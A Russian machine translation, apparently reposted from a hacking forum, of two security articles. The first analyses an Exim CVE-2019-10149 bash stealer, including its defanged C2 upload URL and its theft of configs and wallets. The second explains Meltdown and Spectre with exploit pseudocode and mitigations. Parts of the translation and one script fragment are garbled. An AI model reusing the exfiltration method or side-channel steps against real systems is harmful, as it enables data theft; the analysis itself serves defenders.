Рисунок 1: Открытый сервер EXIM в Италии (Ссылка: ZoomEye)
В последние дни общественности была раскрыта действительно важная проблема:
уязвимость «Return of the WiZard» ( EW
[N030619](https://blog.yoroi.company/warning/grave-vulnerabilita-in-server-di-
posta-exim/),
[CVE-2019-10149](https://securityaffairs.co/wordpress/87168/hacking/linux-
worm-exim-servers.html)). Такая уязвимость затронула широкий спектр серверов
Exim, одной из основных технологий почтовых серверов, чрезвычайно
распространенных по всему миру и в Италии.
Недавно группы киберпреступников злоупотребили этой уязвимостью, чтобы
взломать почтовый сервер Exim. За это время Cybaze-Yoroi ZLAB наблюдали
множество попыток атак и попыток распространения вредоносного ПО,
использующего проблему
[CVE-2019-10149](https://securityaffairs.co/wordpress/87168/hacking/linux-
worm-exim-servers.html), например, обратную оболочку SSH, впервые обнаруженную
Магни Р. Сигурдссоном (Исследователь безопасности), которая злоупотребляет
сетью ToR для распространения своей полезной нагрузки, или волна 9-го июня,
которая пыталась загрузить определенный (agent Linux). Yoroi-Cybaze ZLab
проанализировал эту вредоносную угрозу.
Рисунок 2: Твит о первой волне атаки на сервер exim
Технический анализ
Exim
- агент передачи сообщений (MTA), разработанный в Кембриджском университете
для систем Unix, подключенных к Интернету. Он был разработан исходя из
предположения, что он будет работать на хостах, которые постоянно подключены к
Интернету. Благодаря уязвимости « Return of the WiZard» искаженное письмо,
отправляемое на серверы Exim, позволяет злоумышленникам выполнять код под
пользователем root на большинстве серверов.Вся цепочка заражения начинается с
диалогового окна SMTP, содержащего специально созданное поле « RCPT_TO».
Например:
Рисунок 3: Эксплойт, используемый для взлома уязвимого сервера Exim
(ссылка:https://github.com/dhn/exploits/tree/master/CVE-2019-10149)
На этом этапе уязвимый сервер exim локально выполняет созданную часть.
Bash Stealer
Hash| 1c8f184c3cf902bafc9df23b13a5d51cf801026bc3bde9d6b05cf047523ac6ed
---|---
Threat| Bash Stealer
Brief Description| Initial bash payload dropped after Exim exploit
Ssdeep|
48:r+GMfper8pnPDA7pIgOznRsbb9tanhc6zghOk1Y2y6EYX+UDLBoySval:r+GMfp6ubEmZz6ig0vK
Таблица 1: Информация о скрипте sh
Рисунок 4: Начальное обнаружение файла SH
Файл SH - это не просто новый этап (merely a dropper) вредоносного ПО. Он извлекает информацию о зараженной машине, начиная с имени хоста и заканчивая биткойн-кошельками и конфигурациями системы, что делает его похожим на довольно хороший стиллер. В этом разделе мы углубимся во все возможности этого образца.
Часть 1: Объявления глобальных переменных и IP C2
Прежде всего, скрипт устанавливает различные переменные, видимые на всех
дочерних процессах благодаря команде «export». Интересной переменной является
« UPLOAD_URL », содержащая первое удаленное местоположение « hxxps: // 85
[.25.84.99 / up [.php» часть инфраструктуры злоумышленника. Хостинг C2
осуществляется немецким провайдером управляемых облачных сервисов Plus (
PlusServer GmbH).
Вторая интересная часть скрипта - это функция « snd ( )», определенная ниже.
Часть 2: функция « snd ( )», используемая для отправки украденной
информации
Эта строка сценария является одной из самых важных в цепочке заражения. Он
запускает команду оболочки с тремя экспортированными переменными файлами
«UPLOAD_FILE», «UPLOAD_NAME», «UPLOAD_URL», а затем выполняется файл « atd ».
Это описано в разделе «Полезная нагрузка». Вместо этого представим последнюю
часть скрипта:
date -u
‘(‘$(which date)
’)’ > dateuptime > uptimew > wid > idstat -c %s atd
–eq610932 && chmod +x atd && snd rfЧасть 3: фрагмент скрипта sh, используемый для захвата всей машины жертвы.
В разделе « #EXIM » скрипт собирает следующую информацию: версия системы, ip,
статус iptables, статус ip6tables. Однако метка « #EXIM » вводит в
заблуждение, поскольку этот фрагмент кода относится только к информации о
конфигурации сети машины, и конфигурация EXIM не восстанавливается . После
этого скрипт продолжает собирать другую информацию, такую как:
● Имя хоста
● Название операционной системы
● Дата в формате UTC и CEST
● Время работы сервера
● Информация о каждом пользователе, вошедшем в компьютер
● Идентификатор пользователя
● Запущенный процесс
● Информация о памяти
● Информация о процессоре
● IPv4
● Дисковое пространство
● Сообщение содержится в буфере ядра
● Структура файловой системы
● Все текущие переменные среды
● Вся периферия и шина PCI
● Вся шина USB
● Состояние установленной связи
● Информация о таблицах маршрутизации
● Модули ядра
● Информация об архитектуре процессора
В разделе с пометкой « #copy материал из / etc? ”, Скрипт крадет все файлы, хранящиеся в / etc / path. Его данные хранятся в « $ main_dir / root / sysinfo / etc », где $ main_dir - « / var / tmp ». Он содержит копию всех папок конфигураций Apace и Nginx, а также системных пользователей и групп.
Часть 4: Копирование всех файлов, содержащихся в пути / etc
Кроме того, в следующем фрагменте кода показан фрагмент скрипта, способный
украсть кошельки криптовалют и разграбить другие интересные файлы. Например
SSH конфиги и файлы конфигурации инструментов удаленного управления, как
Remmina, Rdesk и VNC. Кроме того, он собирает файлы конфигурации клиента БД
для DbShell и Redis, а также историю пользовательских команд.
Часть 5. Сбор всей информации о файлах конфигурации ssh, remmina, vnc,
redis и rdesk.
Наконец, вся эта информация сжимается, отправляется в C2 с помощью ранее
упомянутой функции « snd ( ) », а затем удаляется из машины . В последних
строках скрипта загружается еще одна вредоносная программа: исполняемый файл
ELF32, размещенный на том же сервере по адресу « hxxp: // 173 [.212.214 [.137
/ se » ». Это файл «atd», указанный в функции « snd () ».
ELF Uploader
Hash| d8a787dc774748bf26e3dce1b079e9bef071c0327b6adcd8cc71ed956365201c
---|---
Threat| ELF Uploader
Brief Description| Malware downloaded after exim exploitation packed with UPX
compressor
Ssdeep|
12288:FyqFENCHmitUVm9Q8vvsOjIE7WmUlwUJoAAxgeB2DMX+H0XxDTcKe+DduDkEbAd+:FyqusHBWEQ8vk
Table 2: Information about se (ELF file packed with UPX)
This sample was compressed with the standard UPX compressor. The unpacked
payload is:
Hash| b4bae03ab71439208b79edfc5eaec42babacee982231dce001b70ec42835063a
---|---
Threat| ELF Uploader unpacked
Brief Description| ELF Uploader unpacked
Ssdeep|
49152:VZSOaCFC/z4Amq7DkCteu3VD69+xA1PbHrmFbTZJy:VotCFC/zoq0CguZs5LrmFPy
Таблица 3: Информация о себе (файл ELF распакован)
Анализируя ее, мы обнаружили, что вредоносная программа пытается найти три переменные среды: «UPLOAD_FILE», «UPLOAD_NAME» и «UPLOAD_URL». Все они были объявлены в функции « snd ( )» и используются в качестве параметров для дальнейшего выполнения, предполагая, что этот фрагмент кода может быть специальным инструментом, подготовленным злоумышленником.
Рисунок 5: Доказательства функций «UPLOAD_FILE», «UPLOAD_NAME» и
«UPLOAD_URL»
Если эти три параметра существуют, то вредоносная программа связывается с удаленным пунктом назначения, чтобы загрузить все данные через серию запросов POST в ресурс « /up.php ». Как упоминалось ранее, три параметра считываются как переменные среды в командной строке bash. Итак, после загрузки необходимых параметров мы можем правильно отлаживать вредоносные программы. На рисунке выше мы сообщили, как вредоносная программа получает один из заданных параметров, папку «/ var / tmp / temp3754r97y2», в которой содержится добыча, собранная Bash Stealer. Действительно, на рисунке 12 показана процедура, используемая вредоносным ПО для связи с C2, и онаясно видна в адресе, указанном регистром ESI.
Рисунок 6: Процедура чтения параметров
Рисунок 7: Процедура чтения адреса C2
Заключение
Эта волна атак показывает, насколько просто для злоумышленника может быть
провести широко распространенные атаки с помощью настроенного вредоносного ПО,
угрожающего всем незащищенным сервисам Exim, выставленным по всему Интернету.
В этом анализе мы столкнулись с эффективной системой похищения информации,
позволяющей легко собирать конфиденциальную информацию о скомпрометированной
системе. Эта информация также может позволить мошенникам, участвующим в
кампании, еще больше усилить атаку внутри жертв и сетей партнеров-жертв.
В любом случае, этот случай представляет собой только один возможный сценарий
атаки, использующий уязвимость « Возвращение WiZard »: криптоминеры, бот-сети
или вымогатели также могут использовать этот недостаток вместе с группами APT.
Итак, исследователи Yoroi-Cybaze рекомендуют обновить серверы Exim во
избежание риска других волн атаки.
Технические подробности, включая IoC и правила Yara, доступны в анализе,
опубликованном в блоге Yoroi.
Источник:https://xss.is
Переводчик статьи - https://xss.is/members/177895/
Meltdown и Spectre
Хотя в настоящее время я в основном известен сетями и распределенными системами на уровне приложений, первую часть своей карьеры я посвятил работе с операционными системами и гипервизорами. Я глубоко увлечен деталями низкого уровня того, как работают современные процессоры и системное программное обеспечение. Когда были объявлены недавние уязвимости “Meltdown и Spectre” , я рылся в доступной информации и хотел узнать больше.
Уязвимости поразительны… Я бы сказал, что они одно из самых важных открытий в области компьютерных наук за последние 10–20 лет. Смягчения также трудно понять, и точную информацию о них трудно найти. Это неудивительно, учитывая их “Критическую природу”. Для устранения этих уязвимостей потребовались месяцы секретной работы со стороны всех основных поставщиков процессоров, операционных систем и облачных вычислений. Удивляет тот факт, что всё держалось в секрете в течение 6 месяцев, когда над ними, вероятно, работали буквально сотни людей.
Хотя с момента их разглашения многое было написано о “Meltdown и Spectre”, я так и не увидел информацию приемлемого уровня, посвященного уязвимостям исмягчениям. В этой статье я попытаюсь исправить это, предоставив краткое введение в аппаратную и программную среду, необходимую для понимания уязвимостей, обсуждение самих уязвимостей, а также текущих мер по их снижению.
Важное примечание : поскольку я не работал непосредственно над смягчениями, не работаю в Intel, Microsoft, Google, Amazon, Red Hat и т. д., Некоторые детали, которые я собираюсь предоставить, могут быть не совсем точными. Я собрал воедино эту статью на основе моих знаний о том, как работают эти системы, общедоступной документации / обсуждений, опубликованных в LKML и xen- devel . Был бы рад, чтобы меня исправили, если какой-либо из этих постов будет неточным, хотя я сомневаюсь, что это произойдет в ближайшее время, учитывая, сколько из этого предмета все еще рассматривается NDA. (Подсказать что-либо автору можно здесь: https://medium.com/@mattklein123/meltdown-spectre-explained-6bc8634cc0c2 )
Введение
В этом разделе я приведу некоторые сведения, необходимые для понимания уязвимостей. Раздел содержит большое количество деталей, которые предназначены для читателей с ограниченным пониманием компьютерного оборудования и системного программного обеспечения.
Виртуальная память
Виртуальная память - это метод, используемый во всех операционных системах с 1970-х годов. Он обеспечивает уровень абстракции между схемой адресации памяти, которую видит большинство программ, и физическими устройствами, поддерживающими эту память (ОЗУ, диски и т. п.). На надлежащем уровне это позволяет приложениям использовать больше памяти, чем на самом деле имеет машина.Это обеспечивает мощную абстракцию, которая облегчает многие задачи программирования.
Рис.1 Виртуальная память
На рисунке 1 показан упрощенный компьютер с 400 байтами памяти, разложенными на «страницы» по 100 байтов (реальные компьютеры используют степень двух, обычно 4096). Компьютер имеет два процесса, каждый с 200 байтами памяти на 2 страницах каждый. Процессы могут запускать один и тот же код, используя фиксированные адреса в диапазоне байтов 0–199, однако они поддерживаются дискретной физической памятью, так что они не влияют друг на друга. Хотя современные ОС и компьютеры используют виртуальную память существенно более сложным образом, чем то, что представлено в этом примере, основная предпосылка, представленная выше, сохраняется во всех случаях. Операционные системы абстрагируют адреса, которые приложения видят от физических ресурсов, которые их поддерживают.
Преобразование виртуальных адресов в физические является такой распространенной операцией на современных компьютерах, что, если бы во всех случаях приходилось использовать ОС, компьютер работал бы невероятно медленно. Современное аппаратное обеспечение ЦП предоставляет устройство, называемое трансляцией Lookaside Buffer (TLB), которое кэширует недавно использованные отображения. Это позволяет центральным процессорам выполнять преобразование адресов непосредственно в аппаратном обеспечении большую часть времени.
Рис. 2 Перевод виртуальной памяти
На рисунке 2 показан поток преобразования адресов:
Программа выбирает виртуальный адрес.
Процессор пытается перевести его, используя TLB. Если адрес найден,
используется перевод.
Если адрес не найден, ЦП обращается к набору «таблиц страниц» для определения
соответствия. Таблицы страниц - это набор страниц физической памяти,
предоставляемых операционной системой в месте, где аппаратное обеспечение
может их найти (например, регистр CR3 на оборудовании x86). Таблицы страниц
отображают виртуальные адреса на физические адреса, а также содержат
метаданные, такие как разрешения.
Если таблица страниц содержит отображение, она возвращается, кэшируется в TLB и используется для поиска. Если таблица страниц не содержит сопоставления, в ОС возникает «ошибка страницы». Отказ страницы - это особый вид прерывания, который позволяет ОС получить контроль и определить, что делать в случае отсутствия или недопустимого отображения. Например, ОС может завершить программу. Это может также выделить некоторую физическую память и отобразить ее в процессе. Если обработчик сбоев страницы продолжает выполнение, TLB будет использовать новое отображение.
Рис. 3 Отображение виртуальной памяти пользователя/ядра
На рисунке 3 показано несколько более реалистичное представление о том,
как выглядит виртуальная память в современном компьютере (до распада -
подробнее об этом ниже). В данном наборе настроек у нас есть следующие
функции:
Память ядра показана красным. Он содержится в диапазоне физических адресов
0–99. Память ядра - это специальная память, к которой должна иметь доступ
только операционная система. Пользовательские программы не должны иметь
доступа к нему.
Пользовательская память показана серым цветом.
Нераспределенная физическая память показана синим цветом.
В этом примере мы начинаем видеть некоторые полезные функции виртуальной
памяти. Прежде всего:
Пользовательская память в каждом процессе находится в виртуальном диапазоне
0–99, но поддерживается другой физической памятью.
Память ядра в каждом процессе находится в виртуальном диапазоне 100–199, но
поддерживается той же физической памятью.
Как я кратко упомянул в предыдущем разделе, каждая страница имеет соответствующие биты прав доступа. Даже если память ядра отображается в каждом пользовательском процессе, когда процесс выполняется в пользовательском режиме, он не может получить доступ к памяти ядра. Если процесс попытается сделать это, он вызовет сбой страницы, после чего операционная система прекратит его. Однако, когда процесс выполняется в режиме ядра(Например, во время системного вызова), то процессор разрешит доступ.
На этом этапе я отмечу, что этот тип двойного сопоставления (каждый процесс, в котором ядро подключено непосредственно к нему) уже более тридцати лет является стандартной практикой проектирования операционной системы по соображениям производительности (системные вызовы очень распространены, и это займет много времени. Время переназначения ядра или пространства пользователя при каждом переходе).
Топология кеша процессора
Рис. 4 Топология ядра, процессора, пакета и кэша.
Следующей справочной информацией, необходимой для понимания уязвимостей, является топология процессора и кэша современных процессоров. На рисунке 4 показана общая топология, которая является общей для большинства современных процессоров. Он состоит из следующих компонентов:
Основной единицей выполнения является «поток ЦП», «аппаратный поток» или «гиперпоток». Каждый поток ЦП содержит набор регистров и возможность выполнять поток машинного кода, очень похожий на программный поток.
Потоки ЦП содержатся в «ядре ЦП». Большинство современных ЦП содержат по два потока на ядро.
Современные процессоры обычно содержат несколько уровней кэш- памяти . Уровни кэша ближе к потоку ЦП меньше, быстрее и дороже. Чем дальше от процессора и ближе к основной памяти, тем больше, медленнее и дешевле кэш.
Типичный современный дизайн ЦП использует кэш L1 / L2 на ядро. Это означает, что каждый поток ЦП в ядре использует одни и те же кэши.
Несколько «ядер ЦП» содержатся в «пакете ЦП». Современные ЦП могут содержать
более 30 ядер (60 потоков) или более в каждом пакете.
Все ядра ЦП в пакете обычно используют кэш L3.
Пакеты ЦП помещаются в «сокеты». Большинство потребительских компьютеров имеют один сокет, в то время как многие серверы центров обработки данных имеют несколько сокетов.
Спекулятивное исполнение
Рис. 5 Современный процессор исполнения CPU
Последним фрагментом справочной информации, необходимой для понимания уязвимостей, является современная методика ЦП, известная как «спекулятивное выполнение». На рисунке 5 показана общая схема механизма выполнения внутри современного ЦП.
Основной вывод заключается в том, что современные процессоры невероятно сложны и не просто выполняют машинные инструкции по порядку. Каждый поток ЦП имеет сложный механизм конвейерной обработки, способный выполнять команды не по порядку. Причина этого связана с кэшированием. Как я уже говорил в предыдущем разделе, каждый процессор использует несколько уровней кэширования. Каждая ошибка в кэше добавляет значительное время задержки к выполнению программы. Чтобы смягчить это, процессоры способны выполнять ahead и out of order в ожидании загрузки памяти. Это известно как спекулятивное исполнение. Следующий фрагмент кода демонстрирует это.
Code:Copy to clipboard
if (x < array1_size) {
y = array2[array1[x] * 256];
}
В предыдущем фрагменте представьте, что array1_size недоступен в кэше, но адрес array1 -. Процессор может угадать (предположить), что x меньше, array1_size продолжит и выполнит вычисления внутри оператора if. После array1_size считывания из памяти процессор может определить, правильно ли он угадан. Если это так, он может продолжать экономить кучу времени. Если это не так, он может отбросить спекулятивные вычисления и начать все сначала. Это не хуже, чем если бы он ждал в первую очередь.
Другой тип спекулятивного исполнения известен как косвенное предсказание ветвления. Это очень распространено в современных программах из-за виртуальной диспетчеризации.
Code:Copy to clipboard
class Base {
public:
virtual void Foo() = 0;
};
class Derived : public Base {
public:
void Foo() override { … }
};
Base* obj = new Derived;
obj->Foo();
Способ, которым предыдущий фрагмент реализован в машинном коде, состоит в том,
чтобы загрузить «Таблицу виртуальных методов» или «таблицу виртуальной
отправки» из области памяти, которая obj указывает на, и затем вызвать ее.
Поскольку эта операция настолько распространена, современные процессоры имеют
различные внутренние кэши и часто угадывают (спекулируют), куда пойдет
косвенная ветвь и продолжат выполнение в этот момент. Опять же, если процессор
угадает правильно, он может продолжать экономить кучу времени. Если это не
так, он может отбросить спекулятивные вычисления и начать все сначала.
Наконец то уязвимости
Теперь, рассмотрев всю справочную информацию, мы можем погрузиться в уязвимости.
Мошенническая загрузка данных
Первая уязвимость, известная как Meltdown, удивительно проста в объяснении и почти тривиальна в использовании. Код эксплойта примерно выглядит следующим образом:
Code:Copy to clipboard
uint8_t* probe_array = new uint8_t[256 * 4096];
2. // ... Make sure probe_array is not cached
3. uint8_t kernel_memory = *(uint8_t*)(kernel_address);
4. uint64_t final_kernel_memory = kernel_memory * 4096;
5. uint8_t dummy = probe_array[final_kernel_memory];
6. // ... catch page fault
7. // ... determine which of 256 slots in probe_array is cached
Давайте рассмотрим каждый шаг выше, опишем, что он делает, и как это приводит к возможности чтения памяти всего компьютера из пользовательской программы .
В первой строке выделен «массив зондов». Это память в нашем процессе, которая используется в качестве побочного канала для извлечения данных из ядра. Как это будет сделано, скоро станет понятно.
После выделения злоумышленник следит за тем, чтобы ни одна памятm в массиве зондов не была кэширована. Существуют различные способы сделать это, самый простой из которых включает в себя специфичные для процессора инструкции по очистке области памяти из кэша.
Затем злоумышленник начинает читать байт из адресного пространства ядра. Помните, из нашего предыдущего обсуждения виртуальной памяти и таблиц страниц, что все современные ядра обычно отображают все виртуальное адресное пространство ядра в пользовательский процесс. Операционные системы полагаются на тот факт, что каждая запись таблицы страниц имеет настройки разрешений, и что программы пользовательского режима не имеют доступа к памяти ядра. Любой такой доступ приведет к ошибке страницы. Это действительно то, что в конечном итоге произойдет на шаге 3.
Тем не менее , современные процессоры также выполняют спекулятивное выполнение и будут выполняться перед ошибочной инструкцией. Таким образом, шаги 3–5 могут выполняться в конвейере ЦП до возникновения ошибки. На этом этапе байт памяти ядра (в диапазоне от 0 до 255) умножается на размер страницы системы, который обычно составляет 4096.
На этом этапе умноженный байт памяти ядра затем используется для чтения из
массива зондов в фиктивное значение. Умножение байта на 4096 позволяет
избежать того, что функция ЦП, называемая «prefetcher», будет читать больше
данных, чем мы хотим, в кэш.
На этому шагу ЦП осознал свою ошибку и откатился к шагу 3. Однако результаты
спекулятивных инструкций по- прежнему видны в кэше . Атакующий использует
функциональные возможности операционной системы, чтобы перехватить ошибочную
инструкцию и продолжить выполнение (например, обрабатывая SIGFAULT).
На шаге 7 злоумышленник выполняет итерацию и видит, сколько времени занимает чтение каждого из 256 возможных байтов в массиве зондов, которые могли быть проиндексированы памятью ядра. Процессор загрузит одно из расположений в кэш, и это местоположение будет загружаться значительно быстрее, чем все остальные расположения (которые должны быть прочитаны из основной памяти). Это расположение является значением байта в памяти ядра .
Используя описанную выше технику и тот факт, что для современных операционных систем является стандартной практикой сопоставление всей физической памяти в виртуальное адресное пространство ядра, злоумышленник может прочитать всю физическую память компьютера .
Теперь вы можете задаться вопросом: «Вы сказали, что у таблиц страниц есть биты прав доступа. Как могло случиться, что код пользовательского режима смог спекулятивно получить доступ к памяти ядра? » . Причина в том, что это ошибка в процессорах Intel. На мой взгляд, нет веских причин, производительности или иного, чтобы это было возможно. Напомним, что весь доступ к виртуальной памяти должен осуществляться через TLB. Во время спекулятивного выполнения легко можно проверить, что кэшированное отображение имеет разрешения, совместимые с текущим уровнем привилегий. Аппаратное обеспечение Intel просто не делает этого. Другие производители процессоров выполняют проверку разрешений и блокируют спекулятивное выполнение. Таким образом, насколько нам известно, Meltdown является уязвимостью только для Intel .
Изоляция таблицы страниц ядра (KPTI)
Напомним, что в разделе о виртуальной памяти я описал, что все современные операционные системы используют технику, в которой память ядра отображается в адресное пространство виртуальной памяти процесса каждого пользовательского режима. Это из соображений производительности и простоты. Это означает, что когда программа выполняет системный вызов, ядро готово к использованию без дальнейшей работы. Исправление для Meltdown - больше не выполнять это двойное отображение
Рис. 6 Изоляция страницы таблицы ядра
На рисунке 6 показана методика, называемая изоляцией таблицы страниц ядра (KPTI). Это в основном сводится к тому, что память ядра не отображается в программе, когда она выполняется в пространстве пользователя. Если сопоставление отсутствует, спекулятивное выполнение больше невозможно и немедленно приведет к ошибке.
В дополнение к усложнению менеджера виртуальной памяти (VMM) операционной системы, без помощи аппаратного обеспечения этот метод также значительно замедлит рабочие нагрузки, которые делают большое количество переходов из режима пользователя в режим ядра, из-за того, что таблицы страниц должны быть модифицированы при каждом переходе, и TLB должен быть сброшен (учитывая, что TLB может удерживать устаревшие отображения).
Более новые процессоры x86 имеют функцию, известную как ASID (идентификатор адресного пространства) или PCID (идентификатор контекста процесса), которую можно использовать для того, чтобы существенно снизить эту задачу (в ARM и других микроархитектурах эта функция использовалась годами). PCID позволяет идентификатору быть связанным с записью TLB и затем сбрасывать только записи TLB с этим идентификатором. Использование PCID делает KPTI дешевле, но все же не бесплатным.
Таким образом, Meltdown - чрезвычайно серьезная и простая в использовании уязвимость. К счастью, он имеет относительно простое решение, которое уже было развернуто всеми основными поставщиками ОС, поскольку некоторые рабочие нагрузки будут работать медленнее, пока будущее оборудование не будет явно разработано для описанного разделения адресного пространства.
" Призрачная" уязвимость
Призрак разделяет некоторые свойства Meltdown и состоит из двух вариантов. В отличие от Meltdown, Spectre значительно сложнее в использовании, но затрагивает почти все современные процессоры, произведенные за последние двадцать лет. По сути, Spectre - это атака на современный процессор и операционной системы против конкретной уязвимости безопасности.
Обход проверки границ ( 1-ый вариант Spectre )
Первый вариант Specter известен как «обход проверки границ». Это продемонстрировано в следующем фрагменте кода (это тот же фрагмент кода, который я использовал для введения спекулятивного выполнения выше).
Code:Copy to clipboard
if (x <array1_size) {
y = array2 [array1 [x] * 256];
}
В предыдущем примере предположим следующую последовательность событий:
Атакующий контролирует x.
array1_size не кэшируется
array1 кэшируется
Процессор догадывается, что x меньше array1_size. (Процессоры используют различные запатентованные алгоритмы и эвристики, чтобы определить, следует ли спекулировать, именно поэтому детали атаки для Spectre различаются у разных производителей и моделей процессоров.)
Процессор выполняет тело оператора if в ожидании array1_size загрузки,
воздействуя на кэш аналогично Meltdown.
Затем злоумышленник может определить фактическое значение с array1[x]помощью
одного из различных методов. (Более подробную информацию о атаках на вывод из
кэша см. В исследовательской статье
.(В ближайшее время попытаюсь перевести))
Spectre значительно сложнее использовать, чем Meltdown, потому что эта
уязвимость не зависит от повышения привилегий. Злоумышленник должен убедить
ядро запустить код и спекулировать неправильно. Как правило, злоумышленник
должен отравить механизм спекуляции и обмануть его, чтобы он угадал
неправильно. Тем не менее, исследователи показали несколько доказательств
подвига концепции.
Я хочу повторить, что действительно невероятное обнаружение этого подвига .
Я лично не считаю это недостатком дизайна процессора, Meltdown как таковой. Я
считаю это фундаментальным открытием о том, как современные аппаратные и
программные средства работают вместе. Тот факт, что кэши ЦП могут
использоваться косвенно для изучения шаблонов доступа, известен давно. Тот
факт, что кэши ЦП могут использоваться в качестве побочного канала для
выгрузки памяти компьютера, поражает как концептуально, так и его
последствиями.
Целевая инъекция ветви (ВариантSpectre2)
Напомним, что непрямое ветвление очень распространено в современных программах. Вариант Spectre 2 использует косвенное предсказание ветвлений, чтобы отравить процессор в умозрительное выполнение в область памяти, которую он никогда бы не выполнил иначе. Если выполнение этих инструкций может оставить в кэше состояние, которое может быть обнаружено с помощью атак на кэш, злоумышленник может затем сбросить всю память ядра. Подобно варианту 1 «Spectre», вариант 2 «Spectre» использовать гораздо сложнее, чем «Meltdown», однако исследователи продемонстрировали работоспособные варианты реализации варианта 2.
Смягчение Spectre значительно интереснее, чем смягчение последствий Meltdown. На самом деле, в академической статье «Spectre» написано, что в настоящее время нет известных мер по снижению риска. Похоже, что параллельно с академической работой Intel (и, возможно, других производители процессоров), а также основных поставщиков ОС и облачных вычислений в течение нескольких месяцев активно работали над разработкой мер по смягчению последствий. В этом разделе я расскажу о различных мерах по смягчению последствий, которые были разработаны и развернуты. Это раздел, который мне больше всего нравится, так как получить точную информацию невероятно сложно, поэтому я собираю информацию из разных источников.
Статический анализ и ограждение (вариант 1 смягчения)
Единственный известный вариант (ограничение обхода проверки границ) - это статический анализ кода для определения последовательностей кода, которые могут контролироваться злоумышленником, чтобы помешать предположениям. Уязвимые кодовые последовательности могут иметь команду сериализации, например lfence вставку, которая останавливает умозрительное выполнение до тех пор, пока не будут выполнены все инструкции вплоть до ограждения. При вставке инструкций необходимо соблюдать осторожность, так как слишком большое их количество может серьезно повлиять на производительность.
Retpoline (2-ой вариант смягчения)
Первый вариант 2-го Spectre (инъекция в целевую ветвь) был разработан Google и известен как «Retpoline». Мне неясно, был ли он разработан изолированно Google или Google в сотрудничестве с Intel. Я бы предположил, что он был экспериментально разработан Google, а затем проверен аппаратными инженерами Intel, но я не уверен. Подробности о подходе «Retpoline» можно найти в статье Google по этой теме . Я суммирую их здесь (я примыкаю к некоторым деталям, включая недоделку, которые описаны в статье).
Retpoline полагается на тот факт, что вызов и возврат из функций и связанные с ними операции со стеком настолько распространены в компьютерных программах, что процессоры сильно оптимизированы для их выполнения. (Если вы не знакомы с тем, как работает стек в отношении вызова и возврата из функций, [этот пост](https://eli.thegreenplace.net/2011/02/04/where-the-top-of-the-stack-is- on-x86/) является хорошим учебником.) В двух словах, когда выполняется «вызов», адрес возврата помещается в стек. «Retpoline» отключает адрес возврата и продолжает выполнение. Спекулятивное аппаратное обеспечение запомнит запрошенный адрес возврата и спекулятивно продолжит выполнение в этот момент.
Конструкция Retpoline заменяет косвенный переход в область памяти, хранящуюся в регистре r11:
Code:Copy to clipboard
jmp *%r11
Вместе с:
Code:Copy to clipboard
call set_up_target; (1)
capture_spec: (4)
pause;
jmp capture_spec;
set_up_target:
mov %r11, (%rsp); (2)
ret; (3)
Давайте посмотрим, что предыдущий ассемблерный код делает по одному шагу за
раз, и как он смягчает внедрение цели ветвления.
На этом этапе код вызывает ячейку памяти, которая известна во время
компиляции, поэтому это жестко закодированное смещение, а не косвенное. Это
помещает адрес возврата capture_spec в стек.
Адрес возврата при вызове перезаписывается фактической целью перехода.
Возврат осуществляется по реальной цели.
Когда процессор спекулятивно выполнится, он вернется в бесконечный цикл! Помните, что процессор будет спекулировать, пока загрузка памяти не будет завершена. В этом случае, предположение, было манипулировано, чтобы быть захвачены в бесконечный цикл , который не имеет каких - либо побочных эффектов , которые являются наблюдаемыми для атакующего. Когда процессор в конечном итоге выполняет реальный возврат, он прервет спекулятивное выполнение, которое не имело никакого эффекта.
На мой взгляд, это действительно гениальное смягчение. Слава инженерам, которые разработали его. Недостатком этого смягчения является то, что требуется перекомпиляция всего программного обеспечения так, чтобы непрямые ответвления были преобразованы в ответвления Retpoline . Для облачных сервисов, таких как Google, которые владеют всем стеком, перекомпиляция не имеет большого значения. Для других это может быть очень важно или невозможно.
IBRS, STIBP и IBPB (2-ой вариант смягчения)
Похоже, что одновременно с разработкой Retpoline Intel (и AMD в некоторой
степени) яростно работали над изменениями аппаратного обеспечения, чтобы
смягчить атаки с использованием инъекций. В качестве обновлений микрокода ЦП
поставляются три новые аппаратные функции:
Косвенная спекуляция с ограниченным доступом (IBRS)
Однопоточные косвенные предсказатели ветвления (STIBP)
Барьерный предсказатель непрямого ветвления (IBPB)
Ограниченная информация о новых функциях микрокода доступна в Intel [здесь](https://software.intel.com/sites/default/files/managed/c5/63/336996-Speculative- Execution-Side-Channel-Mitigations.pdf) . Я смог примерно собрать воедино эти новые функции, прочитав приведенную выше документацию и посмотрев исправления ядра Linux и гипервизора Xen. Из моего анализа каждая функция потенциально используется следующим образом:
IBRS одновременно очищает кэш предсказания ветвления между уровнями привилегий (от пользователя к ядру) и отключает предсказание ветвления в потоке одноуровневого ЦП. Напомним, что каждое ядро ЦП обычно имеет два потока. Похоже, что на современных процессорах аппаратное предсказание ветвления распределяется между потоками. Это означает, что код режима пользователя не только может отравить предиктор ветвления перед вводом кода ядра, но и код, выполняющийся в одноименном потоке ЦП, также может отравить его. Включение IBRS в режиме ядра по существу предотвращает любое предыдущее выполнение в пользовательском режиме и любое выполнение в потоке одноуровневого ЦП от влияния на прогноз ветвления.
STIBP, по-видимому, является подмножеством IBRS, которое просто отключает предсказание ветвления в потоке одноуровневого ЦП. Насколько я могу судить, основной вариант использования этой функции состоит в том, чтобы не допустить отравления потоком одного и того же процессора предиктора ветвления при одновременном запуске двух разных процессов пользовательского режима (или виртуальных машин) на одном и том же ядре ЦП. Честно говоря, мне сейчас не совсем ясно, когда следует использовать STIBP.
Похоже, что IBPB очищает кэш предсказания ветвления для кода, работающего с тем же уровнем привилегий. Это может использоваться при переключении между двумя программами пользовательского режима или двумя виртуальными машинами, чтобы гарантировать, что предыдущий код не мешает коду, который должен выполняться (хотя без STIBP я считаю, что код, выполняющийся в потоке одноуровневого ЦП, все еще может отравить предсказатель ветви).
На момент написания этой статьи основными мерами, которые я вижу в реализации уязвимости внедрения на уровне филиала, являются как Retpoline, так и IBRS. Предположительно, это самый быстрый способ защитить ядро от программ пользовательского режима или гипервизор от гостей виртуальных машин. В будущем я бы ожидал, что STIBP и IBPB будут развернуты в зависимости от уровня паранойи различных программ пользовательского режима, мешающих друг другу.
Стоимость IBRS также, как представляется, очень сильно различается в зависимости от архитектуры ЦП, поскольку новые процессоры Intel Skylake относительно дешевы по сравнению со старыми процессорами. В Lyft мы наблюдали приблизительно 20% -ное замедление при определенных нагрузках на системные вызовы в экземплярах AWS C4, когда были приняты меры по снижению риска. Я бы предположил, что Amazon развернул IBRS и, возможно, также Retpoline , но я не уверен. [Похоже,](https://www.blog.google/topics/google-cloud/protecting-our- google-cloud-customers-new-vulnerabilities-without-impacting-performance/) что Google, возможно, только развернул Retpoline в своем облаке.
